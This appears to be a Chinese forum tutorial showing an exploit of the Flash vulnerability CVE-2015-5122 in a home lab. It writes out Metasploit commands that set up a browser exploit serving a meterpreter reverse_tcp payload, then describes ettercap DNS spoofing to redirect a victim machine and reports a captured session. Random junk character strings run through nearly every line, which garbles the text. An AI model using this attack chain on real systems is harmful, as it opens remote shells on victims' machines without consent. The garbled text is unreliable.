|
8 G/ X! I/ Z# H
二、cve2015-5122漏洞实例演示虚拟机 1 A( g- O+ f4 U4 Y5 S
5 e" Q. \7 r5 R
M7 Y b: f0 Y! N' X7 g0 m
关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015年flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: + z- W# X" @1 B" U! u0 d( P
( f0 I; |5 s. a% I @
1 e6 S/ P. R. b- V5 x search cve-2015-5122如图: 9 b4 \% _) q |/ N% v
" K0 h, z' o K& ^+ _
- m" j% T$ J* O1 Q9 A# H- e
1 u7 n, `1 b5 s1 L1 E
$ _& {3 g) ~3 A
+ G1 z$ F- K: P2 s 下面我们敲如下命令:
$ X- ]6 z' ?4 z) G6 y
1 `' X" O0 b% G' n% ?3 i1 ]: w) }! C, i. F4 j8 }
use exploit/multi/browser/adobe_flash_opaque_background_uaf
8 L6 ~ L, W; e3 b - u4 U6 g& R! J. E/ { n$ Z8 I/ n1 Q
- }- m6 W$ p4 k+ k* ]. c" M
set PAYLOAD windows/meterpreter/reverse_tcp ; L9 @0 X9 I+ W
5 Y* }( O$ ~, I% Y1 b( h
9 v) p }! E" Z* A( F( y+ K) I set LHOST 192.168.0.109 1 f8 c/ }9 Z) W c. }. W: H
# v" Y$ B, L9 H4 ^6 T3 @2 ^' q$ o' ?; }' n" Q
set URIPATH / /*根目录*/ + E7 r5 V" I, Z+ D; u/ t
$ v1 s9 u. W: i2 F" A8 p6 x* b
* y* L1 p# P* _/ o. A
set SRVHOST 192.168.0.109 //192.168.0.109为kaili ip地址 6 X$ J) Q3 L1 O0 b7 z( m+ i3 a
6 t/ H+ A! \# Q6 R) y
Z# P" B- L9 I* _- Q4 L$ v2 W$ `: [ set SRVPORT 80 /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用
8 r: O3 c% A8 c0 B6 a$ C1 d
4 \! E' [1 G6 y( ^# s) `5 \2 y. \( O0 C5 Q, |
然后show options如图:
' U7 a2 `4 e5 [2 O1 R1 Y C5 W
" T; b! ~- K' W+ `% L r( s- O9 I
; O: L( N' o i2 |( E0 M
+ l4 f {. X( l1 A- v, E3 [. s # [) _2 x/ y; X; D. _$ ?( e- Q
" T" k1 ~$ ?% `+ _ 一切都设置好了,执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图: " q+ |0 g7 I9 S' e
7 H3 L& S$ m5 C9 Z
s/ [$ G- U5 D: }, O& `
& Z. D1 m [$ f: K' a 然后ettercap -G命令打开ettercap,我们要攻击的主机ip是192.168.0。115
/ s8 ?& V a3 s c3 C% l : n" o6 \- m& n' ^
9 n0 Y% d2 h3 @; G0 C
Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf
. w& w3 T7 Z) M5 j+ ? O
& [3 l4 X- o# Q% D0 L. ?- O' J1 Y+ V+ E4 o# v
& W8 y$ G/ R* m4 }, p$ R
) s/ k. [) N- o, }6 r# }7 ^
) g4 e5 a A: `1 a+ v! G) v 成功了,这时候我们断开ettercap,如图: ( S: J6 W9 e, S. F0 ?4 f
8 }- W& t# F- i, s3 E
8 }4 e$ k$ N4 q" n) K5 ]
* R, n' ]1 l% {1 }, }& r3 h2 P
$ m! m v( j2 |3 K! u5 F* Z. v* E0 c/ Z! c5 X6 f
Screenshot如图:
* s }( d1 n$ S5 ?2 E* {/ y / s3 _3 ?$ i. O6 h9 i# N3 J
, {# v- k# V( W8 t% x: D+ D6 T
- @, ]: q' f2 y+ i5 V
( y+ j/ g3 D& o
9 l- d% L) h8 ?7 O1 w
% ]+ q6 Q+ i9 t1 o: P. x6 r |